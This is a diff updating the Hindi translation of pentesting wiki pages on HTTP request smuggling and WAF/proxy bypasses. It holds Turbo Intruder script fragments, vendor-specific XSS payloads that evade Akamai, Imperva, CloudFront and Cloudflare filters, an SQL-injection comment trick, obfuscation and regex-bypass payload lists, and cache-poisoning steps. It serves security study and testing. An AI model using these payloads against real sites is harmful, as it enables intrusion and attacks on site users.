 browser-http-request-smuggling.md
 {{#endref}}
- HTTP/2 डाउनग्रेड में Request Smuggling
+- Request Smuggling in HTTP/2 Downgrades
 {{#ref}}
 request-smuggling-in-http-2-downgrades.md
 {{#endref}}
-## Turbo intruder स्क्रिप्ट
+## Turbo intruder scripts
 ### CL.TE
-From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
+स्रोत: [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
 ```python
 def queueRequests(target, wordlists):
@ -763,7 +809,7 @@ table.add(req)
 ```
 ### TE.CL
-From: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
+स्रोत: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
 ```python
 def queueRequests(target, wordlists):
 engine = RequestEngine(endpoint=target.endpoint,
@ -805,18 +851,18 @@ time.sleep(0.05)
 def handleResponse(req, interesting):
 table.add(req)
 ```
-## Tools
+## उपकरण
- HTTP Hacker (Burp BApp Store) – संयोजन/फ्रेमिंग और निम्न-स्तरीय HTTP व्यवहार को दृश्य बनाना
+- HTTP Hacker (Burp BApp Store) – concatenation/framing और low‑level HTTP व्यवहार को visualize करने के लिए
 - https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
 - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
 - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
 - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
 - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): यह उपकरण एक व्याकरण-आधारित HTTP Fuzzer है जो अजीब अनुरोध स्मगलिंग विसंगतियों को खोजने के लिए उपयोगी है।
+- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): यह टूल एक grammar-based HTTP Fuzzer है जो विचित्र request smuggling विसंगतियाँ खोजने में उपयोगी है।
-## References
+## संदर्भ
 - [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
 - [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
@ -827,10 +873,10 @@ table.add(req)
 - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
 - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
 - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- झूठे झूठे सकारात्मक से सावधान रहें: HTTP पाइपलाइनिंग और अनुरोध स्मगलिंग के बीच अंतर कैसे करें – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
+- False false‑positive से सावधान रहें: HTTP pipelining और request smuggling को अलग कैसे करें – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
 - [https://http1mustdie.com/](https://http1mustdie.com/)
- ब्राउज़र-शक्ति वाले डीसिंक हमले – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
+- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- PortSwigger Academy – क्लाइंट-साइड डीसिंक – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
+- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/proxy-waf-protections-bypass.md
+++ b/src/pentesting-web/proxy-waf-protections-bypass.md
@ -3,9 +3,9 @@
 {{#include ../banners/hacktricks-training.md}}
-## Nginx ACL नियमों को पथ नाम हेरफेर के साथ बायपास करें <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
+## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
-तकनीकें [इस शोध से](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
+तकनीकें [from this research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
 Nginx नियम का उदाहरण:
 ```plaintext
@ -17,7 +17,7 @@ location = /admin/ {
 deny all;
 }
 ```
-Nginx बायपास को रोकने के लिए पथ सामान्यीकरण करता है। हालाँकि, यदि बैकएंड सर्वर एक अलग सामान्यीकरण करता है (ऐसे वर्णों को हटाना जो nginx नहीं हटाता) तो इस रक्षा को बायपास करना संभव हो सकता है।
+बायपास रोकने के लिए Nginx उसे चेक करने से पहले path का normalization करता है। हालाँकि, यदि बैकएंड सर्वर अलग normalization करता है (ऐसे characters हटाकर जिन्हें nginx नहीं हटाता), तो इस रक्षा को बायपास करना संभव हो सकता है।
 ### **NodeJS - Express**
@ -62,32 +62,32 @@ include snippets/fastcgi-php.conf;
 fastcgi_pass unix:/run/php/php8.1-fpm.sock;
 }
 ```
-Nginx को `/admin.php` तक पहुँच को ब्लॉक करने के लिए कॉन्फ़िगर किया गया है लेकिन इसे `/admin.php/index.php` तक पहुँचकर बायपास करना संभव है।
+Nginx को `/admin.php` तक पहुँच अवरुद्ध करने के लिए कॉन्फ़िगर किया गया है, लेकिन `/admin.php/index.php` तक पहुँच करके इसे बाईपास किया जा सकता है।
-### रोकने के तरीके
+### इसे कैसे रोका जाए
 ```plaintext
 location ~* ^/admin {
 deny all;
 }
 ```
-## Mod Security नियमों को बायपास करें <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
+## Mod Security नियम बायपास करें <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
 ### पथ भ्रम
-[**इस पोस्ट में**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) बताया गया है कि ModSecurity v3 (3.0.12 तक), **`REQUEST_FILENAME`** वेरिएबल को गलत तरीके से लागू किया गया था, जिसमें वह पथ होना चाहिए था जिसे एक्सेस किया गया था (पैरामीटर की शुरुआत तक)। इसका कारण यह है कि यह पथ प्राप्त करने के लिए एक URL डिकोड करता है।\
+[**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) में बताया गया है कि ModSecurity v3 (3.0.12 तक) ने `REQUEST_FILENAME` वेरिएबल को **गलत तरीके से लागू** किया था, जो कि एक्सेस किए गए path को (parameters की शुरुआत तक) रखना चाहिए था। यह इसलिए हुआ क्योंकि इसने path प्राप्त करने के लिए URL decode किया।\
-इसलिए, एक अनुरोध जैसे `http://example.com/foo%3f';alert(1);foo=` में मोड सुरक्षा यह मान लेगा कि पथ केवल `/foo` है क्योंकि `%3f` को `?` में परिवर्तित किया गया है जो URL पथ को समाप्त करता है, लेकिन वास्तव में सर्वर को प्राप्त होने वाला पथ `/foo%3f';alert(1);foo=` होगा।
+इसलिए, एक request जैसे `http://example.com/foo%3f';alert(1);foo=` mod security में मान लेगा कि path सिर्फ `/foo` है क्योंकि `%3f` `?` में बदल जाता है और URL path वहीं खत्म हो जाता है, पर वास्तव में सर्वर जो path प्राप्त करेगा वह `/foo%3f';alert(1);foo=` होगा।
-वेरिएबल `REQUEST_BASENAME` और `PATH_INFO` भी इस बग से प्रभावित हुए थे।
+`REQUEST_BASENAME` और `PATH_INFO` वेरिएबल भी इस बग से प्रभावित थे।
-Mod Security के संस्करण 2 में कुछ समान हुआ था जिसने एक सुरक्षा को बायपास करने की अनुमति दी जो उपयोगकर्ता को बैकअप फ़ाइलों से संबंधित विशिष्ट एक्सटेंशन वाली फ़ाइलों तक पहुँचने से रोकती थी (जैसे `.bak`) बस डॉट को `%2e` में URL एन्कोड करके भेजकर, उदाहरण के लिए: `https://example.com/backup%2ebak`।
+Mod Security के version 2 में कुछ समान हुआ था जिससे एक सुरक्षा बाइपास हो सकती थी जो उपयोगकर्ता को बैकअप फाइल से जुड़े विशिष्ट एक्सटेंशन (जैसे `.bak`) वाली फाइलों तक पहुँचने से रोकती थी — बस dot को URL encoded `%2e` भेजकर, उदाहरण: `https://example.com/backup%2ebak`.
-## AWS WAF ACL को बायपास करें <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
+## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
-### गलत फ़ॉर्मेटेड हेडर
+### मैलफॉर्म्ड हेडर
-[यह शोध](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) बताता है कि HTTP हेडर पर लागू AWS WAF नियमों को बायपास करना संभव था एक "गलत फ़ॉर्मेटेड" हेडर भेजकर जिसे AWS द्वारा सही तरीके से पार्स नहीं किया गया लेकिन बैकएंड सर्वर द्वारा किया गया।
+[This research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) में बताया गया है कि HTTP headers पर लागू AWS WAF नियमों को bypass करना संभव था एक "malformed" header भेजकर जो AWS द्वारा सही तरह से parsed नहीं किया जाता था पर backend server द्वारा किया जाता था।
-उदाहरण के लिए, हेडर X-Query में SQL इंजेक्शन के साथ निम्नलिखित अनुरोध भेजना:
+उदाहरण के लिए, X-Query हेडर में SQL injection के साथ निम्नलिखित request भेजने पर:
 ```http
 GET / HTTP/1.1\r\n
 Host: target.com\r\n
@ -96,51 +96,52 @@ X-Query: Value\r\n
 Connection: close\r\n
 \r\n
 ```
-AWS WAF को बायपास करना संभव था क्योंकि यह नहीं समझता था कि अगली पंक्ति हेडर के मान का हिस्सा है जबकि NODEJS सर्वर ने ऐसा किया (इसका समाधान किया गया)।
+It was possible to bypass AWS WAF because it wouldn't understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).
 ## सामान्य WAF बायपास
 ### अनुरोध आकार सीमाएँ
-आम तौर पर WAFs के पास अनुरोधों की जांच के लिए एक निश्चित लंबाई सीमा होती है और यदि POST/PUT/PATCH अनुरोध इससे अधिक है, तो WAF अनुरोध की जांच नहीं करेगा।
+आम तौर पर WAFs के पास जांच के लिए अनुरोधों की एक निश्चित लंबाई सीमा होती है और यदि कोई POST/PUT/PATCH अनुरोध उससे बड़ा होता है, तो WAF उस अनुरोध की जांच नहीं करेगा।
- AWS WAF के लिए, आप [**दस्तावेज़ देखें**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
+- For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
-<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>ऐप्लिकेशन लोड बैलेंसर और AWS AppSync सुरक्षा के लिए निरीक्षण किया जा सकने वाले वेब अनुरोध शरीर का अधिकतम आकार</td><td>8 KB</td></tr><tr><td>CloudFront, API गेटवे, Amazon Cognito, App Runner, और Verified Access सुरक्षा के लिए निरीक्षण किया जा सकने वाले वेब अनुरोध शरीर का अधिकतम आकार**</td><td>64 KB</td></tr></tbody></table>
+<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Application Load Balancer और AWS AppSync protections के लिए निरीक्षण किए जा सकने वाले web request body का अधिकतम आकार</td><td>8 KB</td></tr><tr><td>CloudFront, API Gateway, Amazon Cognito, App Runner, और Verified Access protections के लिए निरीक्षण किए जा सकने वाले web request body का अधिकतम आकार**</td><td>64 KB</td></tr></tbody></table>
- [**Azure दस्तावेज़ों से**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
+- From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
-पुराने वेब एप्लिकेशन फ़ायरवॉल जिनमें कोर नियम सेट 3.1 (या उससे कम) है, वे **128 KB** से बड़े संदेशों की अनुमति देते हैं जब अनुरोध शरीर की जांच बंद कर दी जाती है, लेकिन ये संदेश कमजोरियों के लिए जांचे नहीं जाएंगे। नए संस्करणों (कोर नियम सेट 3.2 या नए) में, अधिकतम अनुरोध शरीर सीमा को अक्षम करके यही किया जा सकता है। जब एक अनुरोध आकार सीमा को पार करता है:
+पुराने Web Application Firewalls जिनमें Core Rule Set 3.1 (या उससे कम) है, request body inspection को बंद कर के **128 KB** से बड़े संदेशों की अनुमति देते हैं, लेकिन इन संदेशों की vulnerabilities के लिए जांच नहीं की जाएगी। नए वर्ज़न्स (Core Rule Set 3.2 या नए) में, वही अधिकतम request body limit को अक्षम कर के किया जा सकता है। जब कोई अनुरोध आकार सीमा से अधिक हो जाता है:
-यदि p**रोकथाम मोड**: अनुरोध को लॉग करता है और ब्लॉक करता है।\
+If p**revention mode**: अनुरोध को लॉग और ब्लॉक करता है.\
-यदि **पता लगाने का मोड**: सीमा तक निरीक्षण करता है, बाकी को अनदेखा करता है, और लॉग करता है यदि `Content-Length` सीमा को पार करता है।
+If **detection mode**: सीमा तक निरीक्षण करता है, बाकी को अनदेखा करता है, और लॉग करता है यदि `Content-Length` सीमा से अधिक है.
- [**Akamai से**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
+- From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
-डिफ़ॉल्ट रूप से, WAF केवल अनुरोध के पहले 8KB का निरीक्षण करता है। यह उन्नत मेटाडेटा जोड़कर सीमा को 128KB तक बढ़ा सकता है।
+डिफ़ॉल्ट रूप से, WAF केवल अनुरोध के पहले 8KB की जांच करता है। यह Advanced Metadata जोड़कर सीमा को 128KB तक बढ़ा सकता है।
- [**Cloudflare से**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
+- From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
 128KB तक।
-### स्थिर संपत्तियों की निरीक्षण में अंतर (.js GETs)
+### Static assets inspection gaps (.js GETs)
-कुछ CDN/WAF स्टैक्स स्थिर संपत्तियों के लिए GET अनुरोधों पर कमजोर या कोई सामग्री निरीक्षण लागू करते हैं (उदाहरण के लिए `.js` पर समाप्त होने वाले पथ), जबकि फिर भी दर सीमित करने और IP प्रतिष्ठा जैसे वैश्विक नियम लागू करते हैं। स्थिर एक्सटेंशनों के स्वचालित कैशिंग के साथ मिलकर, इसका दुरुपयोग किया जा सकता है ताकि दुर्भावनापूर्ण रूपांतर वितरित या बीजित किए जा सकें जो बाद के HTML प्रतिक्रियाओं को प्रभावित करते हैं।
+कुछ CDN/WAF स्टैक्स स्टैटिक एसेट्स के लिए GET अनुरोधों (उदा. paths जो `.js` पर समाप्त होते हैं) पर कमजोर या कोई content inspection लागू करते हैं, जबकि rate limiting और IP reputation जैसे global नियम लागू रहते हैं। स्टैटिक एक्सटेंशन्स के auto-caching के साथ मिलकर, इसे बाद के HTML responses को प्रभावित करने वाले malicious variants डिलिवर या सीड करने के लिए दुरुपयोग किया जा सकता है।
 व्यावहारिक उपयोग के मामले:
- सामग्री निरीक्षण से बचने के लिए `.js` पथ पर GET पर अविश्वसनीय हेडर (जैसे, `User-Agent`) में पेलोड भेजें, फिर तुरंत मुख्य HTML का अनुरोध करें ताकि कैश किए गए रूपांतर को प्रभावित किया जा सके।
+- एक `.js` path पर GET कर के untrusted headers (जैसे `User-Agent`) में payload भेजें ताकि content inspection से बचा जा सके, फिर कैश्ड variant को प्रभावित करने के लिए तुरंत मुख्य HTML का अनुरोध करें।
- एक ताजा/स्वच्छ IP का उपयोग करें; एक बार जब IP को झंडा लगाया जाता है, तो रूटिंग परिवर्तनों से तकनीक अविश्वसनीय हो सकती है।
+- नया/साफ IP इस्तेमाल करें; एक बार IP फ्लैग हो जाने पर, routing बदलाव इस तकनीक को अविश्वसनीय बना सकते हैं।
- Burp Repeater में, "Send group in parallel" (एकल-पैकेट शैली) का उपयोग करें ताकि दो अनुरोधों (`.js` फिर HTML) को एक ही फ्रंट-एंड पथ के माध्यम से दौड़ाया जा सके।
+- Burp Repeater में, "Send group in parallel" (single-packet style) का उपयोग करें ताकि दो अनुरोधों (`.js` फिर HTML) को एक ही front-end path से रेस किया जा सके।
-यह हेडर-रिफ्लेक्शन कैश पॉइज़निंग के साथ अच्छी तरह से मेल खाता है। देखें:
+यह header-reflection cache poisoning के साथ अच्छी तरह मेल खाता है। देखें:
- {{#ref}}
+{{#ref}}
 cache-deception/README.md
 {{#endref}}
 - [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
-### ओबफस्केशन <a href="#ip-rotation" id="ip-rotation"></a>
+### Obfuscation <a href="#ip-rotation" id="ip-rotation"></a>
 ```bash
 # IIS, ASP Clasic
 <%s%cr%u0131pt> == <script>
@ -148,55 +149,55 @@ cache-deception/README.md
 # Path blacklist bypass - Tomcat
 /path1/path2/ == ;/path1;foo/path2;bar/;
 ```
-### Unicode Compatability <a href="#unicode-compatability" id="unicode-compatability"></a>
+### Unicode संगतता <a href="#unicode-compatability" id="unicode-compatability"></a>
-Unicode सामान्यीकरण के कार्यान्वयन के आधार पर (अधिक जानकारी [यहां](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), ऐसे वर्ण जो Unicode संगतता साझा करते हैं, WAF को बायपास करने और इच्छित पेलोड के रूप में निष्पादित करने में सक्षम हो सकते हैं। संगत वर्ण [यहां](https://www.compart.com/en/unicode) पाए जा सकते हैं।
+Unicode normalization के कार्यान्वयन पर निर्भर करते हुए (अधिक जानकारी [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), जिन अक्षरों की Unicode संगतता समान होती है वे WAF को बाइपास कर सकती हैं और इच्छित payload के रूप में execute हो सकती हैं। संगत अक्षर [here](https://www.compart.com/en/unicode) पर पाए जा सकते हैं।
-#### Example <a href="#example" id="example"></a>
+#### उदाहरण <a href="#example" id="example"></a>
 ```bash
 # under the NFKD normalization algorithm, the characters on the left translate
 # to the XSS payload on the right
 ＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥  --> ＜img src=p onerror='prompt(1)'>
 ```
-### संदर्भ WAFs को एन्कोडिंग के साथ बायपास करें <a href="#ip-rotation" id="ip-rotation"></a>
+### Contextual WAFs को एनकोडिंग के साथ बायपास करें <a href="#ip-rotation" id="ip-rotation"></a>
-जैसा कि [**इस ब्लॉग पोस्ट**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) में उल्लेख किया गया है, उपयोगकर्ता इनपुट के संदर्भ को बनाए रखने में सक्षम WAFs को बायपास करने के लिए, हम WAF तकनीकों का दुरुपयोग कर सकते हैं ताकि वास्तव में उपयोगकर्ताओं के इनपुट को सामान्य किया जा सके।
+जैसा कि [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) में बताया गया है, user input का context बनाए रखने में सक्षम WAFs को बायपास करने के लिए हम WAF तकनीकों का दुरुपयोग करके उपयोगकर्ता इनपुट को वास्तविक रूप में सामान्यीकृत (normalize) करवा सकते हैं।
-उदाहरण के लिए, पोस्ट में उल्लेख किया गया है कि **Akamai ने एक उपयोगकर्ता इनपुट को 10 बार URL डिकोड किया**। इसलिए कुछ ऐसा जैसे `<input/%2525252525252525253e/onfocus` को Akamai द्वारा `<input/>/onfocus` के रूप में देखा जाएगा, जो **सोच सकता है कि यह ठीक है क्योंकि टैग बंद है**। हालाँकि, जब तक एप्लिकेशन इनपुट को 10 बार URL डिकोड नहीं करता, पीड़ित कुछ ऐसा देखेगा जैसे `<input/%25252525252525253e/onfocus` जो **XSS हमले के लिए अभी भी मान्य है**।
+उदाहरण के लिए, पोस्ट में बताया गया है कि **Akamai ने एक user input को 10 बार URL decoded किया**। इसलिए कुछ इस तरह `<input/%2525252525252525253e/onfocus` Akamai के लिए `<input/>/onfocus` के रूप में दिखाई देगा, जिससे यह **लग सकता है कि टैग बंद हो गया है**। हालांकि, जब तक application इनपुट को 10 बार URL decode नहीं करता, victim को कुछ ऐसा दिखाई देगा `<input/%25252525252525253e/onfocus` जो कि **अब भी XSS attack के लिए वैध है**।
-इसलिए, यह **एन्कोडेड घटकों में पेलोड्स को छिपाने की अनुमति देता है** जिसे WAF डिकोड और व्याख्या करेगा जबकि पीड़ित नहीं करेगा।
+इसलिए, यह WAF द्वारा decode और interpret किए जाने वाले encoded components में payloads को छिपाने की अनुमति देता है, जबकि victim उन्हें नहीं देखेगा।
-इसके अलावा, यह केवल URL एन्कोडेड पेलोड्स के साथ ही नहीं बल्कि अन्य एन्कोडिंग जैसे यूनिकोड, हेक्स, ऑक्टल आदि के साथ भी किया जा सकता है...
+इसके अलावा, यह केवल URL encoded payloads तक सीमित नहीं है बल्कि unicode, hex, octal जैसे अन्य encodings के साथ भी किया जा सकता है...
-पोस्ट में निम्नलिखित अंतिम बायपास का सुझाव दिया गया है:
+पोस्ट में निम्नलिखित अंतिम bypasses सुझाए गए हैं:
 - Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
 - Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
 - AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
 - Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
-यह भी उल्लेख किया गया है कि **कुछ WAFs उपयोगकर्ता इनपुट के संदर्भ को कैसे समझते हैं** के आधार पर, इसका दुरुपयोग करना संभव हो सकता है। ब्लॉग में प्रस्तावित उदाहरण यह है कि Akamai ने `/*` और `*/` के बीच कुछ भी डालने की अनुमति दी (संभवतः क्योंकि इसका उपयोग सामान्यतः टिप्पणियों के रूप में किया जाता है)। इसलिए, एक SQLinjection जैसे `/*'or sleep(5)-- -*/` को नहीं पकड़ा जाएगा और यह मान्य होगा क्योंकि `/*` इंजेक्शन की प्रारंभिक स्ट्रिंग है और `*/` टिप्पणी की गई है।
+यह भी बताया गया है कि यह निर्भर करता है कि कुछ WAFs उपयोगकर्ता इनपुट के संदर्भ को कैसे समझते हैं, और इसे दुरुपयोग करना संभव हो सकता है। ब्लॉग में प्रस्तावित उदाहरण यह है कि Akamai ने `/*` और `*/` के बीच कुछ भी रखने की अनुमति दी (संभवतः क्योंकि यह आमतौर पर comments के रूप में उपयोग होता है)। इसलिए, एक SQLinjection जैसे `/*'or sleep(5)-- -*/` को पकड़ा नहीं जाएगा और यह वैध रहेगा क्योंकि `/*` injection का starting string है और `*/` comment कर रहा है।
-इस प्रकार की संदर्भ समस्याओं का उपयोग **अन्य कमजोरियों का दुरुपयोग करने के लिए भी किया जा सकता है** जो WAF द्वारा शोषित होने की अपेक्षा की जाती है (जैसे, इसका उपयोग XSS को शोषित करने के लिए भी किया जा सकता है)।
+इस तरह की संदर्भ संबंधी समस्याओं का उपयोग WAF द्वारा अपेक्षित vulnerability के अलावा अन्य vulnerabilities को भी दुरुपयोग करने के लिए किया जा सकता है (उदा. इसे XSS exploit करने के लिए भी इस्तेमाल किया जा सकता है)।
-### H2C स्मगलिंग <a href="#ip-rotation" id="ip-rotation"></a>
+### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
 {{#ref}}
 h2c-smuggling.md
 {{#endref}}
-### IP रोटेशन <a href="#ip-rotation" id="ip-rotation"></a>
+### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): ffuf के साथ उपयोग के लिए एक API गेटवे URL उत्पन्न करें
+- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): ffuf के साथ उपयोग करने के लिए एक API gateway URL जनरेट करें
 - [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): fireprox के समान
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite प्लगइन जो API गेटवे IPs का उपयोग करता है
+- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite plugin जो API gateway IPs का उपयोग करता है
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): एक गतिशील रूप से निर्धारित संख्या में कंटेनर उदाहरणों को इनपुट फ़ाइल के आकार और विभाजन कारक के आधार पर सक्रिय किया जाता है, जिसमें इनपुट को समानांतर निष्पादन के लिए टुकड़ों में विभाजित किया जाता है, जैसे 100 उदाहरण 10,000-लाइन इनपुट फ़ाइल से 100 टुकड़ों को संसाधित करते हैं जिसमें विभाजन कारक 100 लाइनें हैं।
+- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): इनपुट फ़ाइल के आकार और split factor के आधार पर containers की संख्या गतिशील रूप से निर्धारित की जाती है, और इनपुट को parallel execution के लिए chunks में विभाजित किया जाता है — उदाहरण के लिए 10,000-line इनपुट फ़ाइल और 100-line split factor के साथ 100 chunks को 100 instances द्वारा प्रोसेस करना।
 - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
-### Regex बायपास
+### Regex Bypasses
-फायरवॉल पर regex फ़िल्टर को बायपास करने के लिए विभिन्न तकनीकों का उपयोग किया जा सकता है। उदाहरणों में केस को वैकल्पिक बनाना, लाइन ब्रेक जोड़ना, और पेलोड्स को एन्कोड करना शामिल हैं। विभिन्न बायपास के लिए संसाधन [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) और [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) पर पाए जा सकते हैं। नीचे दिए गए उदाहरण [इस लेख](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) से लिए गए थे।
+Regex filters को बायपास करने के लिए विभिन्न तकनीकों का उपयोग किया जा सकता है। उदाहरणों में alternating case, line breaks जोड़ना, और payloads को encode करना शामिल हैं। विभिन्न bypasses के संसाधन [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) और [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) पर मिलते हैं। नीचे दिए गए उदाहरण [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) से लिए गए हैं।
 ```bash
 <sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
 <<script>alert(XSS)</script> #prepending an additional "<"
@ -217,11 +218,11 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
 <a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
 <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
 ```
-## Tools
+## उपकरण
- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp प्लगइन जो लंबाई के द्वारा WAFs को बायपास करने के लिए अनुरोधों में जंक डेटा जोड़ता है
+- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp plugin जो requests में junk data जोड़कर length के आधार पर WAFs को bypass करने के लिए इस्तेमाल होता है
-## References
+## संदर्भ
 - [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
 - [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
--- a/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md
+++ b/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md
@ -2,7 +2,24 @@
 {{#include ../../banners/hacktricks-training.md}}
